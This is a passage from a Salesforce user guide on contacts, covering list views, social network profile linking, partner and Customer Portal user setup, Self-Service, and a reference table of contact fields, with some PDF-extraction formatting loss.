Creating Custom List Views
Resolving Your Synced Outlook Contacts

Viewing Contact Lists


Available in: All Editions except Database.com

User Permissions Needed


To view contacts:

Read on contacts

To create contacts:

Create on contacts

The contacts list page displays a list of contacts in your current view. To show a filtered list of items, select a predefined list
from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you
created, select it from the View drop-down list and click Edit.

Click a contact name to view the detail. Click Edit or Del to edit or delete the contact.

If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle
back to the list view.
Click New Contact or select Contact from the Create New drop-down list in the sidebar to create a contact.
To add contacts to an existing campaign, select the box next to one or more contacts, and then click Add to Campaign.
Alternatively, select the box in the column header to select all displayed records, then click Add to Campaign.
Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then,
you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note
that your administrator controls the availability of drag-and-drop scheduling.

If Chatter is enabled, click

or

to follow or stop following a contact in your Chatter feed.

Working with Person Accounts


Person accounts appear in contact list views but not the Recent Contacts list on the Contacts home page.

When you select a person account name on a contact list view, the corresponding person account appears on the Accounts
tab.
To visually differentiate contacts from person accounts in contact list views, add the Is Person Account icon as a
column; see Creating Custom List Views on page 272. Person accounts do not have contacts.

187

Contacts

Viewing Contact Lists

Note: In most situations, you can use person accounts as if they were contacts. You can include them in all contact
list views except on the contacts home page. For more information, see What is a Person Account? on page 68.

Sorting List Views

Click any column heading to sort in ascending or descending order using that columns information.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
Note: Professional, Enterprise, Unlimited, and Developer Edition organizations can grant access to contacts beyond
what the sharing model allows. See Sharing Contacts on page 215.
Contacts that are not linked to an account are always private, regardless of your organizations sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Printing List Views
Finding Out if Your Partners Use Salesforce

188

Contacts

Using Contacts

Using Contacts
Available in: All Editions

User Permissions Needed


To view contacts:

Read on contacts

To edit contacts:

Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts


AND
Edit Self-Service
To edit accounts on contacts enabled to use a partner portal: Edit on contacts
AND
Manage Partners
To view person accounts:

Read on accounts and contacts

To edit person accounts:

Edit on accounts and contacts

Contacts are the individuals associated with your accounts.

View and edit contact details (for example, the account name)
Use Social Accounts and Contacts to view your contacts social network profiles, see their level of influence in social media,
and watch related YouTube videos.
Find contact-related information (for example, opportunities)
Find and add contacts from Data.com
Find and add Data.com contacts for a specific account
Clean contact records with Data.com Clean. on page 2592
View contact updates and comments (Chatter)
Give Customer Portal users access to a contact
Enable a contact as a partner portal user
Enabling Partner Super User Access
Troubleshoot partner portal user issues

189

Contacts

Viewing and Editing Contact Details

Enable a contact as a Self-Service portal user

See Also:
Contact Fields
Creating Contacts
Social Accounts, Contacts, and Leads Overview
Data.com Product Suite Overview
Cloning Contacts
Sharing Contacts
Merging Duplicate Contacts

Viewing and Editing Contact Details


Available in: All Editions

User Permissions Needed


To view contacts:

Read on contacts

To edit contacts:

Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts


AND
Edit Self-Service
To edit accounts on contacts enabled to use a partner portal: Edit on contacts
AND
Manage Partners
To view person accounts:

Read on accounts and contacts

To edit person accounts:

Edit on accounts and contacts

Once you have located a contact on the Contacts home or list pages, click the contact name to display detailed information.

Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.
To display the page in edit mode, click Edit, make your changes, and click Save.
To save the current contact and create another one, click Save & New.
To open a printable display of the record details, in the top-right corner of the page, click Printable View.

Changing the Account for Contacts


If you change the Account Name field:

190

Contacts

Using Social Contacts

Cases and opportunities associated with the contact remain associated with the previous account and do not roll up to the
new account.
New cases and opportunities created for the contact are associated with the new account.

There are additional considerations for contacts enabled for portals.

See Also:
Contact Fields
Sending Stay-in-Touch Requests

Using Social Contacts


Available in: All Editions except Database.com

When using Social Accounts and Contacts for contacts, you can:

Sign in to your social network accounts from any contact detail page.
Find your customers Facebook, LinkedIn, and Twitter profiles and link them to their contact records on page 193, so you
can view this information from contact detail pages.
Find YouTube videos related to your contacts and play them from contact detail pages.
See your contacts Klout information from contact detail pages.
Modify default search criteria if youre having trouble locating a contacts social information.
Configure your Social Accounts and Contacts settings so the Social Accounts and Contacts viewer only shows the social
networks that you want to use.

See Also:
Social Accounts, Contacts, and Leads Overview
Enabling and Configuring Social Accounts and Contacts

191

Contacts

Signing in to Your Social Network Accounts from Contact Detail Pages

Signing in to Your Social Network Accounts from Contact


Detail Pages
Available in: All Editions except Database.com

User Permissions Needed


To sign in to your social network accounts from contact detail Read on contacts
pages:

To get started using Social Accounts and Contacts, you first need to sign in to your social network accounts from any account,
contact, or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing
you to see external social profiles in Salesforce. These connections persist in future Salesforce sessions so you don't have to
sign in to your social network accounts again unless you sign out in the Social Accounts and Contacts viewer.
Note: You can see YouTube videos without doing these steps. The Klout service is only available when youre signed
in to your Twitter account..
To sign in to your social network accounts from a contact detail page:
1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page. You can sign in
from any contact's detail page that you have permission to read.
2. In the header on the detail page, click a social network icon (
).
3. Click the Sign in button on the Social Accounts and Contacts viewer.
4. Enter your social network account credentials and authorize Salesforce to access your account.
Your Salesforce account and social network account are now connected.
Repeat these steps to create connections for your other social network accounts.

See Also:
Using Social Contacts
Social Accounts, Contacts, and Leads Overview

192

Contacts

Viewing Your Contacts' Social Network Profiles

Viewing Your Contacts' Social Network Profiles


Available in: All Editions except Database.com

User Permissions Needed


To find and link social network profiles to contact records:

Edit on contacts

To view a contact's social network profiles:

Read on contacts

Once you have signed in to your social network accounts from Salesforce, you can use Social Accounts and Contacts to find
your customers' Facebook, LinkedIn, and Twitter profiles and link them to their contact records. Then you can view this
information directly from contact detail pages in Salesforce.
1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page.
2. In the header on the detail page, click a social network icon (
).
3. If a social network profile hasn't been associated with the contact yet, Salesforce automatically searches for profiles that
match the name on the contact record. Click the correct profile in the search results displayed on the Social Accounts and
Contacts viewer.
Tip: If the default search doesn't find the correct profile, search again using different search terms on page 195.

The profile that you select is linked to the Salesforce record, so other Salesforce users who access the record can also view
the profile.
4. View the social information that your contact is sharing with you.
Note: Depending on the contact's privacy settings, as well as the permissions set by the contact's friends or
connections, you may not see as much information as you would if logged directly into your social network account.
5. You can also:

Click Show Photo in Salesforce to display the contact's profile picture on the contact detail page.
Click View Full Profile to see the contact's complete social network profile directly in the social network.
Click Find Different Profile to change the social network profile that is linked to the contact record.
Click Sign Out to close the private connection between Salesforce and your social network account. When you do this,
you're unable to see your contacts' social network profiles until you sign in again.

193

Contacts

Viewing YouTube Videos about Your Contacts

Repeat these steps to find and view the contact's other social network profiles. You can use the tabs on the Social Accounts
and Contacts viewer to easily switch between the different social networks.

See Also:
Using Social Contacts
Viewing YouTube Videos about Your Contacts
Viewing Your Contacts' Klout Information
Social Accounts, Contacts, and Leads Overview

Viewing YouTube Videos about Your Contacts


Available in: All Editions except Database.com

User Permissions Needed


To find and view YouTube videos related to contacts:

Read on contacts

You can use Social Accounts and Contacts to find YouTube videos related to your contacts and play them from contact detail
pages in Salesforce.
1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page.
2. In the header on the detail page, click the YouTube icon ( ).
3. In the YouTube search results, click the video that you want to watch.
Tip: If the default search doesn't find videos for the correct person, search again using different search terms.

4. The YouTube player opens in the Social Accounts and Contacts viewer and the video begins playing.

See Also:
Using Social Contacts
Viewing Your Contacts' Social Network Profiles
Viewing Your Contacts' Klout Information
Social Accounts, Contacts, and Leads Overview

194

Contacts

Viewing Your Contacts' Klout Information

Viewing Your Contacts' Klout Information


Available in: All Editions except Database.com

User Permissions Needed


To view a contact's Klout information:

Read on contacts

You can use Social Accounts and Contacts to see your contacts Klout information, directly from contact detail pages in
Salesforce.
Note:
The Klout service is dependent on Twitteran administrator must enable Twitter in your organizations Social
Accounts and Contacts settings and you must be signed in to your Twitter account. You dont need a Klout account,
or have to be signed in to your Klout account, to see Klout information in Salesforce.
Before Klout information is available for a contact, you or someone else in your organization needs to associate a
Twitter profile with the contact record.
To see Klout information for a contact:
1. On the Contacts home page or in a Contacts list view, click a contact's name to display the detail page.
2. In the header on the detail page, click the Klout icon ( ).
3. View the contacts Klout information.

See Also:
Using Social Contacts
Viewing Your Contacts' Social Network Profiles
Viewing YouTube Videos about Your Contacts
Social Accounts, Contacts, and Leads Overview

Tips for Finding Your Contacts' Social Information


Available in: All Editions except Database.com

When you want to associate a social network profile with a contacteither for the first time or if youre switching to a different
profile using the Find Different Profile buttonthe Social Accounts and Contacts feature searches for profiles that match
the Name field on the contact record. If you're looking for a LinkedIn profile, the search also matches against the Account
Name field.
Similarly, when looking for YouTube videos that are related to a contact, the default search criteria is determined by the Name
field.
Here are some tips if youre having trouble finding a contacts social information.

195

Contacts

Configuring Your Social Accounts and Contacts Settings

If the default search can't locate your contact's social network profile or YouTube videos related to the account, enter
different keywords in the search box on the Social Accounts and Contacts viewer and click Search.
The name on the contact record may be different from your contacts social network user name or the name used in YouTube
video keyword tags. Try different variations of the contact's name; for example, search for Maddie Rigsby instead of
Madison Rigsby.
For LinkedIn profile searches, the account name on the contact record may not exactly match the company name in the
contact's LinkedIn profile. Try different versions of the account name, such as Universal Paper or Universal
Paper, Incorporated instead of Universal Paper, Inc.

If you still can't find the correct profile, the contact may not have an account in the social network or the contact's privacy
settings may be blocking you from finding their profile in a search. If your YouTube searches are still unsuccessful, the contact
may not be featured in any videos shared on YouTube.

See Also:
Using Social Contacts
Social Accounts, Contacts, and Leads Overview

Configuring Your Social Accounts and Contacts Settings


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Contacts available in: All Editions except Database.com
Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If the Social Accounts and Contacts feature is enabled for your organization, you can turn off social networks that you don't
want to use. You can also turn off the Social Accounts and Contacts feature, if needed.
1. Click Your Name > Setup > My Social Accounts and Contacts > Settings.
2. Click Change your Social Accounts and Contacts settings.
3. Customize Social Accounts and Contacts so it works the way you want it to.

Select the social networks that you want to use. Deselect any of the services that you don't want to use.
Deselect Use Social Accounts and Contacts to turn off the Social Accounts and Contacts feature entirely. Select this
checkbox to turn the feature back on if you change your mind.

196

Contacts

Contact History

4. Click Save.

See Also:
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Leads

Contact History
Available in: All Editions except Database.com

User Permissions Needed


To view contacts:

Read on contacts

The Contact History related list of a contact detail page tracks the changes to the contact. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the contact, a new entry is added to the Contact History
related list. All entries include the date, time, nature of the change, and who made the change. Modifications to the related
lists on the contact are not tracked in the contact history. For information about setting up which fields are tracked, see
Tracking Field History on page 1100.

197

Contacts

Finding Contact-Related Information (Related Lists)

Finding Contact-Related Information (Related Lists)


Available in: All Editions

User Permissions Needed


To view contacts:

Read on contacts

To edit contacts:

Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts


AND
Edit Self-Service
To edit accounts on contacts enabled to use a partner portal: Edit on contacts
AND
Manage Partners
To view person accounts:

Read on accounts and contacts

To edit person accounts:

Edit on accounts and contacts

Related lists, such as opportunities, display information related to a contact.

Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled,
hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items.
Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce
administrator.
If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before
clicking into that record's detail page.
To directly add new items, click New (or the equivalent button) at the top of a related list. For example, clicking New
Case lets you add a new case.
To change the number of records shown for related lists, click View More below a related list, or click fewer or more at
the bottom of the page.

Viewing Related Lists


The related lists you see are determined by your:

Personal customization
Administrator's page layout customizations
Permissions to view related data

See Also:
Contact History

198

Contacts

Viewing Contact Updates (Chatter)

Viewing Contact Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the contact.
Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.

Following Contacts
When you follow a contact, your Chatter feed includes field changes and contact feed updates.

To follow a contact, click Follow. To stop following, click Following .


The Followers list shows you who is following the contact. To view a full list, click Show All.
To automatically follow records you create, go to Your Name > Setup > My Chatter Settings > My Feeds and select
Automatically follow records I create.

See Also:
Chatter Overview
Using Chatter Feeds

Creating Partner Users


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, disable, or deactivate users:

Manage Users

To create contacts:

Create on contacts

To view contacts:

Read on contacts

Once you have a partner account created, you can add partner users to the account as contact records. Partner users are Salesforce
users with limited capabilities focused on managing leads. Partner users log in to Salesforce through the portal.
Before creating partners, you should configure your portals; otherwise, your partner users may attempt to log into your portal
before your portals are ready.

199

Contacts

Working with Partner Users

To create a partner user:


1. View the partner account for which you want to create a partner user.
2. Create a new contact for the partner user. Choose New from the Contacts related list on the partner account. Fill in the
appropriate details, and click Save.
3. On the contact detail page, click Work with Portal and choose Enable Partner Portal Login.
4. Edit the user record for this partner.
5. Click Save.
Once a partner user has been created, the partner account and the partner user can be edited independently. Changes made
to one are not reflected in the other. Updating a contact associated with a partner user does not update the partner user.
To troubleshoot issues or ensure the portal is configured appropriately, on the contact detail page, click Work with Portal
and choose Login As Portal User. A new browser window opens and you are logged into the portal as the portal user.

Tips on Creating Partner Users


Consider the following when creating partner users:

If you have enabled a user as a delegated administrator, the user cannot create a partner user unless at least one partner
profile has been added to the Assignable Profiles related list and the user has the Manage Users permission.
The available profiles for the partner user are limited to the Partner User profile or profiles that have been cloned from it.
Unlike a standard user, the partner user role is automatically assigned based on the account name. The partner user role is
a subordinate of the account owner's role, therefore, all data for the partner user role rolls up to the partner account owner's
role. Keep in mind that if you disable a portal user, their partner user role becomes obsolete and their data no longer rolls
up to the partner account role.
Partner users and contacts cannot be deleted. If you no longer want a partner user to have access to the portal, deactivate
the partner user. In addition, partner contacts cannot be owned by a non-partner account.
You can merge a portal contact record with another portal contact.
To disable a partner account, click Work with Portal and choose Disable Partner Account. Disabling the account disables
up to 15 of its partner portal users and permanently deletes all of the account's partner portal roles and groups. You cannot
restore deleted partner portal roles and groups.
After you disable a partner account, you can re-enable individual contacts as partner portal users. Re-enabling a contact
for a partner portal creates a new portal user and role that is not associated with the previous partner portal user and role.
We recommend disabling a partner account if the account was accidentally enabled for portal access.

See Also:
Disabling and Deactivating Portal Users
Enabling Partner Super User Access

Working with Partner Users


Available in: Enterprise, Unlimited, and Developer Editions

Channel managers are associated with the partner users they manage by partner account ownership. A channel manager who
owns a partner account can access all the information and manage all the activities of the partner users associated with that
account.

200

Contacts

Working with Partner Users

Some common tasks when managing your partner users include:

Creating a partner account


Creating partner users
Enabling partner super user access
Disabling and deactivating partner users
Assigning leads to partner users
Assigning events to partner users
Assigning cases to partner users
Deactivating partner users
Editing partner user information
Change the account associated with a partner user
Merge partner users
Tracking partner activity
Giving partner users access to your knowledge base
Enabling partner users to request meetings

In addition, here are some other ways you can work with your partner users:
Enable partner super user access
Partner super users have access to data owned by all partner users and partner super users in the same role and those
below them in the portal account hierarchy, even if the organization-wide default setting is Private. Partner super user
access applies to cases, leads, custom objects, and opportunities only.
Assign tasks to partner users
If your partner users have the appropriate field-level security settings, they can view and create activities related to leads
or opportunities.
Add tasks to leads or opportunities to remind your partner users of particular tasks you would like them to perform. You
can view the activity history for a particular lead or opportunity, or use reports to track activities assigned to partner users.
Partner users can only assign tasks to other users in their partner account or to their channel manager.
Use notes and attachments to communicate with partner users
Partner users can create, view, and edit notes and add attachments from the Notes and Attachments related list on
selected detail pages, including lead, solution, and opportunity detail pages. You can use notes and attachments to share
documents or information with partner users. If Chatter is enabled for your organization, feed attachments are included
in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete
them.
The size limit for an attached file is 5 MB.
Click Login As Partner Portal User to troubleshoot
When you view the contact detail page for a partner user, you can click Login As Portal User. This opens a new browser
window and logs you into the portal as the partner user. Click this button to troubleshoot any issues partner users are
experiencing. You may also click this button to ensure that your portal is configured appropriately. The Login As Portal
User button is only available if you have the Manage Partners permission and one of the following: the Modify All
Data permission or you are the partner account owner or higher in the role hierarchy. The Login as Portal User button
does not display if you do not meet these requirements, or if the portal user is inactive.

201

Contacts

Self-Service for Contacts and Person Accounts

Reset a partner user's password


When you view the user detail page for a partner user, you can click Reset Password to reset the partner user's password.
Partner users can reset their own password by clicking Forgot Password? on the partner portal login page.
Expose a solution in the portal
Select Visible in Self-Service Portal on the solution.
Add products to opportunities
If the Products related list is available to partner users on opportunities, then you can add products to the opportunities
for your partners.

See Also:
About Partner Portal User Management
Managing Partner Users
Enabling Partner Super User Access
About Partner Portal Channel Manager User Management
Delegating Partner User Administration
Partner Portal Best Practices
Enabling Email in the Partner Portal
Assigning Events to Partner Users
Enabling Cases in the Partner Portal

Self-Service for Contacts and Person Accounts


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Self-Service users:

Edit Self-Service Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.
To allow a customer to access your Self-Service portal, you must enable Self-Service for the customers contact or person
account record:
1. If the customer is a contact, click the Enable Self-Service button on the contact detail page. If the customer is a person
account, click the Enable Self-Service button on the person account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Self-Service
Username defaults to his or her Email.
3. Optionally, select the Super User checkbox to enable the customer as a Self-Service super user who can view case
information, add comments, and upload attachments for all cases submitted by anyone in his or her company.

202

Contacts

Creating Contacts

4. Select Generate new password and notify user immediately to email a Self-Service username and password
to the customer.
5. Click Save.
Note: A Self-Service user can only view cases in the Self-Service portal that are associated with his or her account
record.
To disable Self-Service for a customer:
1. Click the View Self-Service button on the detail page.
2. Click Edit, and deselect the Active box.
3. Click Save.
To enable more than one Self-Service user at a time, see Enabling Multiple Self-Service Users on page 1411.
Note: You cannot delete an active Self-Service user; you can only deactivate his or her access to the Self-Service portal.
In addition, you cannot delete a contact or person account that is associated with an active Self-Service user. Instead,
deactivate his or her access to the Self-Service portal and then delete the contact or person account.

See Also:
Setting Up Self-Service
What is a Person Account?

Creating Contacts
Available in: All Editions except Database.com

User Permissions Needed


To view contacts:

Read on contacts

To create contacts:

Create on contacts

To create a contact, select Contact from the Create New drop-down list in the sidebar, or click New next to Recent Contacts
on the contacts home page. Enter the information for the contact. Click Save when you are finished, or click Save & New to
save the current contact and add another.
To automatically associate a contact with an account, view the account and click New Contact in the task bar. You can also
select New in the Contacts related list of an account.
If Quick Create is enabled by your administrator, you can also add a contact on the contacts home page.
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record Type
when creating a contact. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new contact is automatically set to the division of the related account.

203

Contacts

Cloning Contacts

Note:
Contacts that are not linked to an account are always private, regardless of your organizations sharing model. Only
the owner of the contact and administrators can view it. Sharing rules and workflow rules do not apply to private
contacts. If your organization uses divisions, private contacts always belong to the global division.

See Also:
Cloning Contacts
Contact Fields
Contacts Home

Cloning Contacts
Available in: All Editions except Database.com

User Permissions Needed


To clone contacts:

Create on contacts

The Clone button on a contact quickly creates a new contact with the same information as the existing contact, for example,
when you need to add multiple contacts for the same account.
Click Clone on an existing contact. Enter or change any information for the new contact, and click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Contact Fields

204

Contacts

Enabling the Customer Portal for Contacts and Person Accounts

Enabling the Customer Portal for Contacts and Person


Accounts
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable Customer Portal users, or to log in as a portal user: Edit on the account associated with the Customer Portal
user
AND
Edit Self-Service Users

To allow a customer to access your Salesforce Customer Portal, you must enable the customer's contact or person account
record as a Customer Portal user. You can either disable or deactivate Customer Portal users at any time.
To enable the Customer Portal for a customer:
1. Click Work with Portal and choose Enable Customer Portal User from the drop-down button on the contact or person
account detail page.
2. Verify the general information and locale settings, and enter any missing information. Note that the customer's Username
defaults to his or her Email.
3. Select a portal user license. The user license you choose determines the permission sets, user profile, and role hierarchy
options you can select for the Customer Portal user. See Customer Portal User Licenses on page 1698.
4. Select Generate new password and notify user immediately to email a Customer Portal username and
password to the customer.
If your organization uses multiple Customer Portals, a portal user can access all the Customer Portals assigned to his or
her profile with one username and password. See Creating Multiple Customer Portals on page 1667.
5. Click Save.
To troubleshoot or confirm the portal configuration, on the contact detail page, click Work with Portal and choose Login
As Portal User. This opens a new browser window and logs you into the portal as the partner user.

Tips on Enabling the Customer Portal for Contacts


Consider the following when enabling the Customer Portal for contacts:

To view or edit an enabled contact's access to your Customer Portal, on the contact detail page, click Work with Portal
and choose View Customer Portal User.
You cannot enable the contact for the Customer Portal unless the owner of the contact's account is associated with a role
in your organization.
The first time you enable a contact for the Customer Portal on an account, you cannot assign the contact to a portal role.
The contact is automatically assigned to the Customer User role, which includes the name of the contact's account. You
can update contact's portal role later.
This behavior doesn't apply to high-volume portal users because they don't have roles and aren't included in the role
hierarchy.

205

Contacts

Enabling the Customer Portal for Contacts and Person Accounts

A contact can be either a partner or Customer Portal user, but not both. If a user is a partner user and a Customer Portal
user, then you need to create two contact records for the user so that he or she can have a separate username and password
for each portal.
However, a contact can be a Self-Service user as well as a partner or Customer Portal user. Any data created or owned by
a Self-Service user can be visible to a partner or Customer Portal user associated with the same contact.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

You cannot delete an active Customer Portal user; you can only disable or deactivate his or her access to the Customer
Portal.
The following table describes whether you can delete contacts that are associated with portal users:

State of Portal User Associated to Contact

Can You Delete the Contact?

Active portal user

No. This is to ensure that the contact is available if you


choose to reactivate the portal user.

Inactive portal user

No. This is to ensure that the contact is available if you


choose to reactivate the portal user.

Disabled portal user

Yes. Deleted contacts are sent to the Recycle Bin.

You can change the account on the contact at any time.


You can merge contacts enabled to use a Customer Portal.
The user's Community Nickname defaults to his or her email alias unless you specify otherwise. For example, if the user's
Email is jsmith@company.com, the user's Community Nickname defaults to jsmith when you click Save.
Delegated administrators can't assign the High Volume Customer Portal license to contacts.

Tips on Enabling the Customer Portal for Person Accounts


Consider the following when enabling the Customer Portal for person accounts:

After the person account is enabled, click Work with Portal and choose View Customer Portal User on the person account
detail page to view or edit a person accounts access to your Customer Portal.
You can't delete a person account enabled to use a Customer Portal.
You can't import person accounts to be automatically enabled to use a Customer Portal. For more information on importing
person accounts, see Import My Person Accounts on page 811.
Person account users can't self-register for a Customer Portal. When they try to do so, they receive an email notification
that instructs them to contact the portal administrator. See Enabling Customer Portal Login and Settings on page 1677.
You can't merge person accounts enabled to use a Customer Portal.

See Also:
Setting Up Your Customer Portal
What is a Person Account?
Enabling Partner Super User Access

206

Contacts

Changing the Account on Contacts Enabled for Portals

Changing the Account on Contacts Enabled for Portals


Available in: All Editions

User Permissions Needed


To view contacts:

Read on contacts

To edit contacts:

Edit on contacts

To edit accounts on contacts enabled to use a Customer Portal: Edit on contacts


AND
Edit Self-Service
To edit accounts on contacts enabled to use a partner portal: Edit on contacts
AND
Manage Partners
To view person accounts:

Read on accounts and contacts

To edit person accounts:

Edit on accounts and contacts

When you change the account on contacts enabled for a Customer Portal or partner portal:

Portal users can access their own cases and opportunities from their previous accounts. Contacts that are Self-Service users
can view on the Self-Service portal only cases that are associated with their current account. Self-Service users cannot view
opportunities.
Contacts' portal roles are automatically updated to match the name of the account to which they are transferred (unless
they're high-volume portal users, which don't have roles). For example, the portal role Account A Customer User becomes
Account B Customer User (because a portal role's name includes the name of the account with which it is associated).
Portal roles are unique to each account and are located under the account owner's role in your organization's role hierarchy.
When you transfer a partner portal user to another account:
Opportunities on each account are automatically recalculated through your organization's forecast hierarchy.
Opportunities owned by the partner portal user remain in the previous account.

This is because portal users' roles are updated when you transfer them between accounts.
Delegated partner user administrators and delegated Customer Portal user administrators can update portal users on
accounts to which they are transferred.
You can only transfer contacts enabled for a partner portal to accounts that are enabled for a partner portal.

See Also:
Enabling the Customer Portal for Contacts and Person Accounts
Self-Service for Contacts and Person Accounts

207

Contacts

Contact Fields

Contact Fields
The available fields vary according to which Salesforce Edition you have.

A contact has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings,
some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
If the contact record was added from Data.com, certain fields, as identified here, will be populated with the Data.com value,
if a value is available.
Field

Description

Account Name

Name of account that contact is linked


to. You can enter the account name, or
select the account using the lookup icon.
Private contacts are those that do not
have an account.

Allow Customer Portal


Self-Registration

When selected, allows contacts to


self-register for access to your Customer
Portal.

Assistant

Name of assistant. Up to 40 characters


are allowed in this field.

Asst. Phone

Assistants phone number. Up to 40


characters are allowed in this field.

Birthdate

Birthday. You can enter a date, or choose


a date from the calendar that displays
when you put your cursor in the field.

Clean Status

Indicates the records clean status as


compared with Data.com. Values are:
Not Compared, In Sync,
Reviewed, Different, Not
Found, or Inactive.

Contact Currency

The default currency for all currency


amount fields in the contact. Amounts
are displayed in the contact currency, and
are also converted to the users personal
currency. Available only for organizations
that use multiple currencies.

Contact Division

Division to which the contact belongs.


This value is automatically inherited from
the related account.

Allows Value from Data.com


X

208

Contacts

Field

Contact Fields

Description

Allows Value from Data.com

Available only in organizations that use


divisions to segment their data.
Contact Owner

Assigned owner of contact. Not available


in Personal Edition.

Contact Record Type

Name of the field that determines what


picklist values are available for the record.
Available in Enterprise, Unlimited, and
Developer Editions.

Created By

User who created the contact including


creation date and time. (Read only)

Data.com Key

The ID of the company in Data.com


When Salesforce records are compared
with Data.com records (via either manual
cleaning or automated clean jobs), if
Data.com finds a match, the two records
are linked by this fields numeric value.

Department

Associated business or organizational


unit. Up to 80 characters are allowed in
this field.

Description

Description of contact. Up to 32 KB of
data are allowed in this field. Only the
first 255 characters display in reports.

Do Not Call

Indicates if the person does not want to


be contacted via telephone.

Email

Email address. Must be a valid email


address in the form: jsmith@acme.com.
Up to 80 characters are allowed in this
field.
Click the email address in this field to
send an email using your personal email
application. This type of email is not
logged as an activity on the contact
record.
If the Gmail Buttons and Links feature
is enabled, you can click the Gmail link
next to the field to send an email from
your Gmail account. See Using Gmail in
Salesforce on page 338 for more
information.

Email Opt Out

The person's email address will not be


included in mass emails.

209

Contacts

Contact Fields

Field

Description

Allows Value from Data.com

Fax

Contacts fax number. Up to 40


characters are allowed in this field.

Fax Opt Out

Indicates if the person has requested not


to be included in broadcast faxes.

First Name

First name of the contact, as displayed


on the contact edit page. Up to 40
characters are allowed in this field.

First Name (Local)

First name of the contact translated into


the local language.

Home Phone

Persons home phone number. Up to 40


characters are allowed in this field.

Last Name

Last name of the contact, as displayed


on the contact edit page. Up to 80
characters are allowed in this field.

Last Name (Local)

Last name of the contact translated into


the local language.

Last Stay-in-Touch Request


Date

The date that the most recent


Stay-in-Touch request was sent.

Last Stay-in-Touch Save Date

The date that the most recent


Stay-in-Touch request was returned and
merged.

Lead Source

Record source, for example,


Advertisement, Partner, or Web. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.

Mailing Street

Street mailing address. Up to 255


characters are allowed in this field.

Mailing City

City portion of mailing address. Up to


40 characters are allowed in this field.

Mailing State/Province

State or province portion of mailing


address. Up to 20 characters are allowed
in this field.

Mailing Zip/Postal Code

Zip or postal code portion of mailing


address. Up to 20 characters are allowed
in this field.

Mailing Country

Country portion of mailing address. Up


to 40 characters are allowed in this field.

210

Contacts

Contact Fields

Field

Description

Mobile

Cellular or mobile phone number. Up to


40 characters are allowed in this field.

Modified By

User who last changed the contact fields,


including modification date and time.
This does not track changes made to any
of the related list items on the contact.
(Read only)

Name

Combined first and last name of contact,


as displayed on the contact detail page.

Other Street

Street address portion of additional


address. Up to 255 characters are allowed
in this field.

Other City

City portion of additional address. Up to


40 characters are allowed in this field.

Other State/Province

State or province portion of additional


address. Up to 20 characters are allowed
in this field.

Other Zip/Postal Code

Zip or postal code portion of additional


address. Up to 20 characters are allowed
in this field.

Other Country

Country portion of additional address.


Up to 40 characters are allowed in this
field.

Other Phone

Additional phone number listing. Up to


40 characters are allowed in this field.

Phone

Contacts primary phone number. Up to


40 characters are allowed in this field.

Reports To

Name of contacts manager. You can


enter an existing contact name, or select
the contact using the lookup icon.

Salutation

Title for addressing the person, for


example, Mr., Ms., Dr., or Prof. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.

Title

Person's position within his or her


organization. Up to 80 characters are
allowed in this field.

Allows Value from Data.com

211

Contacts

Displaying Contact Hierarchy

Field

Description

Allows Value from Data.com

Custom Links

Listing of custom links for contacts as


set up by your administrator.

Username

For Self-Service contacts only. The


Username defaults to the Email. The
contact must enter their username when
logging in to the Self-Service portal.
Note: Starting with Spring 12,
the Self-Service portal isnt
available for new organizations.
Existing organizations continue
to have access to the Self-Service
portal.

See Also:
Using Contacts
Creating Contacts
Cloning Contacts
Data.com Product Suite Overview

Displaying Contact Hierarchy


Available in: All Editions

User Permissions Needed


